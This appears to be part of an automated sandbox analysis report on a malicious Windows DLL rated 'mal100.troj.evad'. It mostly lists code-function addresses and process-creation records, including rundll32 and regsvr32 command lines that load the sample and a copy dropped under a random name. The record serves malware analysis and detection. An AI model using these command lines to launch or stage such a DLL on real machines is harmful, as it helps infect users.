Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10018A71	7_2_10018A71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001AAB7	7_2_1001AAB7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001CB16	7_2_1001CB16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10018E7D	7_2_10018E7D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10025EB1	7_2_10025EB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10020011	12_2_10020011
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_100181CA	12_2_100181CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001929D	12_2_1001929D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1002542D	12_2_1002542D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_100274AE	12_2_100274AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10026575	12_2_10026575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001869D	12_2_1001869D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001178A	12_2_1001178A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10016860	12_2_10016860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1002596F	12_2_1002596F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10022A5C	12_2_10022A5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10018A71	12_2_10018A71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001AAB7	12_2_1001AAB7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001CB16	12_2_1001CB16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10018E7D	12_2_10018E7D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10025EB1	12_2_10025EB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400AD08	12_2_0400AD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400654A	12_2_0400654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400FF58	12_2_0400FF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400EFDD	12_2_0400EFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04012009	12_2_04012009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF670B	12_2_03FF670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04002142	12_2_04002142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFDE74	12_2_03FFDE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF8636	12_2_03FF8636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04007A0F	12_2_04007A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFC5D8	12_2_03FFC5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04004A66	12_2_04004A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFA445	12_2_03FFA445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF4BFC	12_2_03FF4BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400DC71	12_2_0400DC71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFFB8E	12_2_03FFFB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF238C	12_2_03FF238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400A474	12_2_0400A474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF6B7A	12_2_03FF6B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFF369	12_2_03FFF369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400CCD9	12_2_0400CCD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400E4E5	12_2_0400E4E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04005515	12_2_04005515
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04008D3D	12_2_04008D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04012D53	12_2_04012D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFBAA9	12_2_03FFBAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04007D5B	12_2_04007D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04003D85	12_2_04003D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400C5D5	12_2_0400C5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04009DF5	12_2_04009DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040085FF	12_2_040085FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04002E5D	12_2_04002E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF2194	12_2_03FF2194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400567B	12_2_0400567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04003EAA	12_2_04003EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040136AA	12_2_040136AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFD14C	12_2_03FFD14C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04000EBC	12_2_04000EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040146BD	12_2_040146BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04013EE9	12_2_04013EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400BEFD	12_2_0400BEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFF0E9	12_2_03FFF0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF80C0	12_2_03FF80C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04004F74	12_2_04004F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04009774	12_2_04009774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04005779	12_2_04005779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04000F86	12_2_04000F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF7078	12_2_03FF7078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFA871	12_2_03FFA871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040107AA	12_2_040107AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04008FAE	12_2_04008FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040117BD	12_2_040117BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFB820	12_2_03FFB820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040067E6	12_2_040067E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040007F4	12_2_040007F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040027F9	12_2_040027F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04008806	12_2_04008806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFE7DE	12_2_03FFE7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400F840	12_2_0400F840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFBFBE	12_2_03FFBFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF57B8	12_2_03FF57B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF77A3	12_2_03FF77A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF1F38	12_2_03FF1F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400D8DB	12_2_0400D8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_040100EF	12_2_040100EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFEF0C	12_2_03FFEF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFC6B8	12_2_03FFC6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400E955	12_2_0400E955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400017B	12_2_0400017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF7E79	12_2_03FF7E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04006187	12_2_04006187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400D1BC	12_2_0400D1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFE640	12_2_03FFE640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400E1F8	12_2_0400E1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF55FF	12_2_03FF55FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04009A01	12_2_04009A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04004244	12_2_04004244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400B257	12_2_0400B257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04013263	12_2_04013263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04010A64	12_2_04010A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400A2A5	12_2_0400A2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04000ABA	12_2_04000ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400CAD5	12_2_0400CAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04012B09	12_2_04012B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_04005333	12_2_04005333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF1CA1	12_2_03FF1CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400437A	12_2_0400437A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF7442	12_2_03FF7442
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF3431	12_2_03FF3431
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0400FBDE	12_2_0400FBDE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B485FF	15_2_04B485FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4EFDD	15_2_04B4EFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B546BD	15_2_04B546BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B40EBC	15_2_04B40EBC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3C6B8	15_2_04B3C6B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B40ABA	15_2_04B40ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4A2A5	15_2_04B4A2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B31CA1	15_2_04B31CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3BAA9	15_2_04B3BAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B43EAA	15_2_04B43EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B536AA	15_2_04B536AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4BEFD	15_2_04B4BEFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4E4E5	15_2_04B4E4E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3F0E9	15_2_04B3F0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B500EF	15_2_04B500EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B53EE9	15_2_04B53EE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4CAD5	15_2_04B4CAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4CCD9	15_2_04B4CCD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4D8DB	15_2_04B4D8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B380C0	15_2_04B380C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B33431	15_2_04B33431
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B38636	15_2_04B38636
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3B820	15_2_04B3B820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B48806	15_2_04B48806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B49A01	15_2_04B49A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B47A0F	15_2_04B47A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B52009	15_2_04B52009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4A474	15_2_04B4A474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3A871	15_2_04B3A871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4DC71	15_2_04B4DC71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3DE74	15_2_04B3DE74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B37E79	15_2_04B37E79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B37078	15_2_04B37078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4567B	15_2_04B4567B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B50A64	15_2_04B50A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B44A66	15_2_04B44A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B53263	15_2_04B53263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4B257	15_2_04B4B257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B42E5D	15_2_04B42E5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B44244	15_2_04B44244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B37442	15_2_04B37442
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3E640	15_2_04B3E640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4F840	15_2_04B4F840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3A445	15_2_04B3A445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4D1BC	15_2_04B4D1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B517BD	15_2_04B517BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B357B8	15_2_04B357B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3BFBE	15_2_04B3BFBE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B377A3	15_2_04B377A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B48FAE	15_2_04B48FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B507AA	15_2_04B507AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B32194	15_2_04B32194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B43D85	15_2_04B43D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B40F86	15_2_04B40F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B46187	15_2_04B46187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3FB8E	15_2_04B3FB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3238C	15_2_04B3238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B49DF5	15_2_04B49DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4E1F8	15_2_04B4E1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B355FF	15_2_04B355FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B34BFC	15_2_04B34BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B467E6	15_2_04B467E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4C5D5	15_2_04B4C5D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3C5D8	15_2_04B3C5D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3E7DE	15_2_04B3E7DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B45333	15_2_04B45333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B48D3D	15_2_04B48D3D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B31F38	15_2_04B31F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B45515	15_2_04B45515
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3670B	15_2_04B3670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B52B09	15_2_04B52B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4AD08	15_2_04B4AD08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3EF0C	15_2_04B3EF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B44F74	15_2_04B44F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B49774	15_2_04B49774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B36B7A	15_2_04B36B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B45779	15_2_04B45779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4017B	15_2_04B4017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3F369	15_2_04B3F369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4E955	15_2_04B4E955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B52D53	15_2_04B52D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4FF58	15_2_04B4FF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B47D5B	15_2_04B47D5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B42142	15_2_04B42142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B4654A	15_2_04B4654A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3D14C	15_2_04B3D14C

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 10017BC1 appears 68 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 1001984C appears 48 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10017BC1 appears 136 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 1000D5EC appears 38 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 1001A471 appears 40 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 1001984C appears 96 times

Source: 5o8zdV3GU3.dll

Binary or memory string: OriginalFilenameUDPTool.EXE: vs 5o8zdV3GU3.dll

Source: 5o8zdV3GU3.dll

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: 5o8zdV3GU3.dll

Virustotal: Detection: 30%

Source: 5o8zdV3GU3.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll"
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\5o8zdV3GU3.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5o8zdV3GU3.dll,DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq",PuybGev
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mumgmtegektiykh\kztyzxlvaam.cuq",DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\5o8zdV3GU3.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5o8zdV3GU3.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq",PuybGev	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mumgmtegektiykh\kztyzxlvaam.cuq",DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@31/10@0/27

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:640:120:WilError_01

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_100126F9 FindResourceA,LoadResource,LockResource,FreeResource,

6_2_100126F9

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 5o8zdV3GU3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 5o8zdV3GU3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 5o8zdV3GU3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 5o8zdV3GU3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 5o8zdV3GU3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10019891 push ecx; ret	6_2_100198A4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10017C60 push ecx; ret	6_2_10017C73
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042308E0 push esp; iretd	6_2_042308E3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04221195 push cs; iretd	6_2_04221197
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10019891 push ecx; ret	7_2_100198A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10017C60 push ecx; ret	7_2_10017C73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10019891 push ecx; ret	12_2_100198A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10017C60 push ecx; ret	12_2_10017C73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FF1195 push cs; iretd	12_2_03FF1197
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B408E0 push esp; iretd	15_2_04B408E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B31195 push cs; iretd	15_2_04B31197

Source: C:\Windows\SysWOW64\regsvr32.exe

